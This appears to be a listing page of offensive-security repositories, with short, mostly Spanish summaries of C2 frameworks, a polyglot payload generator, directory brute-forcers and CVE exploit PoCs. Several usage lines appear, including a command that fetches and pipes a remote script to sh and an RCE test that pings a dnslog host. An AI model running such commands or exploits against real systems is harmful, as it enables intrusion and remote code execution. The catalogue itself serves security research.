GeckoDroid

GeckoDroid Cliente móvil para Adaptix C2 Framework. Acceso completo de operador desde tu dispositivo Android. Qué hace GeckoDroid te da control sobre tu servidor Adaptix C2 desde cualquier lugar. En lugar de estar frente al cliente de escritorio, puedes gestionar las operaciones sobre la marcha...

Striker

Striker C2 Striker es un sencillo programa de Comando y Control C2. Descargo de responsabilidad Este proyecto está en desarrollo activo. La mayoría de las funcionalidades son experimentales, y habrá más por venir. Espere cambios importantes. Características A Agentes Agentes nativos para sistemas...

rbuster

Rbuster otro rastreador de directorios Opciones comunes de línea de comandos -a - especificar una cadena de agente de usuario para enviar en la solicitud -c - usar esto para especificar cualquier cookie que pueda necesitar simulando autenticación. encabezado. -f - forzar el procesamiento de un...

SNOWCRASH

SNOWCRASH Un generador de payloads políglota Introducción SNOWCRASH crea un script que puede ejecutarse tanto en máquinas Linux como Windows. El payload seleccionado por el usuario en este caso, código combinado de Bash y PowerShell se incrusta en una única plantilla políglota, que es independien...

CVE-2025-7775-vulnerable-lab

Laboratorio Vulnerable CVE-2025-7775 Este repositorio proporciona una configuración vulnerable para probar la plantilla de nuclei para CVE-2025-7775. Ejecución docker build -t vuln-app . docker run -d --name vuln-test -p 5000:5000 vuln-app Pruebas de Vulnerabilidad 1. Ejecución Remota de Comandos...

hyenae-ng

Hyenae NG Hyenae NG Next Generation is a re-write of the original Hyenae tool which was originally published back in the year 2010. Besides switching from C to C++, using modern design concepts, Hyenae NG was just like the original Hyenae written with maximum portability in mind. Since the origin...

MaccaroniC2

MaccaroniC2 - Potenciando el Comando y Control usando AsyncSSH MaccaroniC2 es un proof-of-concept framework de Comando y Control que utiliza la potente librería Python AsyncSSH, la cual proporciona una implementación asíncrona de cliente y servidor del protocolo SSHv2, y usa el wrapper PyNgrok pa...

CVE-2018-2380

CVE-2018-2380 Puntuación base CVSS v3: 6.6/10 PoC de ejecución remota de comandos mediante inyección de logs en SAP NetWeaver AS JAVA CRM Ejemplo de uso del script python crmrce-CVE-2018-2380.py --host 127.0.0.1 --port 50001 --username administrator --password 123QWEasd --SID DM0 --ssl true Dónde...

POC-CVE-2021-22204

POC-CVE-2021-22204 https://nvd.nist.gov/vuln/detail/CVE-2021-22204 Este es solo un script de conveniencia que escribí para pruebas. Salida Usage ./buildimage.pl Note: if your cmd contains unix special characters use quote! EG: ./buildimage.pl "curl xxxx.com/script.sh|sh" This poc generates an ima...

GenGravSSTIExploit

ES GenGravSSTIExploit es un script PoC en Python que explota una vulnerabilidad autenticada de inyección de plantillas del lado del servidor SSTI en Grav CMS versiones -p : URL objetivo en el formato https://hostname. : Número de puerto por defecto 80. Ejemplo: python GenGravSSTIExploit.py -t...

fence

Fence envuelve comandos en un entorno aislado que bloquea el acceso a la red por defecto y restringe las operaciones del sistema de archivos según reglas configurables. Es muy útil para ejecutar código semiconfiable instalaciones de paquetes, scripts de compilación, trabajos de CI, repositorios...

CVE-2021-25646

Apache Druid Ejecución Remota de Código CVE-2021-25646 por j2ekim Modo de uso python exp.py -u --url -c --command python cve-2021-25646.py -u http://127.0.0.1:8888 -c "ping 5ap7ta.dnslog.cn" Artículo sobre la reproducción de la vulnerabilidad https://www.adminxe.com/2109.html Aviso de uso Cualqui...

DropboxC2C

DropboxC2C DropboxC2C es un agente de post-explotación que utiliza la infraestructura de Dropbox para operaciones de comando y control. NO UTILICES ESTO CON FINES MALICIOSOS. EL AUTOR NO ES RESPONSABLE DE NINGÚN USO INDEBIDO DE ESTE PROGRAMA. Dropbox-C2C es un proyecto antiguo mío para usar un...

CVE-2024-50379-POC

CVE-2024-50379-POC Este repositorio contiene un script de Python diseñado para explotar CVE-2024-50379 , una vulnerabilidad que permite a los atacantes subir un shell JSP a un servidor vulnerable y ejecutar comandos arbitrarios de forma remota. Este exploit es particularmente útil cuando el...

ctftool

CTFTOOL ¿Solo quieres probar el exploit SYSTEM? Haz clic aquí. Una herramienta interactiva de exploración de CTF Esto es ctftool, una herramienta interactiva de línea de comandos para experimentar con CTF, un protocolo poco conocido utilizado en Windows para implementar servicios de texto. Esto...

CVE-2026-23744

CVE-2026-23744 — MCPJam Inspector Unauthenticated RCE Unauthenticated remote code execution PoC for CVE-2026-23744. MCPJam Inspector 1.4.2 and earlier expose functionality through /api/mcp/connect that can launch an attacker-controlled MCP server command without authentication. For authorized...

dirsearch

dirsearch - Web Path Discovery An advanced web path brute-forcer dirsearch is being actively developed by @maurosoria and @shelld3v. Join the Discord server to communicate with the team. Quick Start dirsearch requires Python 3.11 or higher. git clone https://github.com/maurosoria/dirsearch.git...

CVE-2025-54123

CVE-2025-54123 Inyección de Comandos en Hoverfly a RCE PoC Resumen Este repositorio contiene un script de prueba de concepto PoC en Python para interactuar con instancias de Hoverfly afectadas por CVE-2025-54123. El script soporta: Autenticación usando credenciales de nombre de usuario/contraseña...

watchguard-sso-client

Prueba de Concepto para Vulnerabilidades del Agente SSO de Watchguard CVE-2024-6592, CVE-2024-6593, CVE-2024-6594 Los detalles se describen en nuestros avisos disponibles en: CVE-2024-6592 CVE-2024-6593 CVE-2024-6594 El script requiere la librería Python click para ejecutarse. Ejemplos Enviar...

cve-2017-12945

CVE-2017-12945 Exploit para CVE-2017-12945 Existe una vulnerabilidad de inyección de comandos del sistema operativo remota autenticada ciega en los Mersive Solstice Pods - una plataforma inalámbrica de colaboración y presentación diseñada por Mersive Technologies Inc. - que ejecutan versiones del...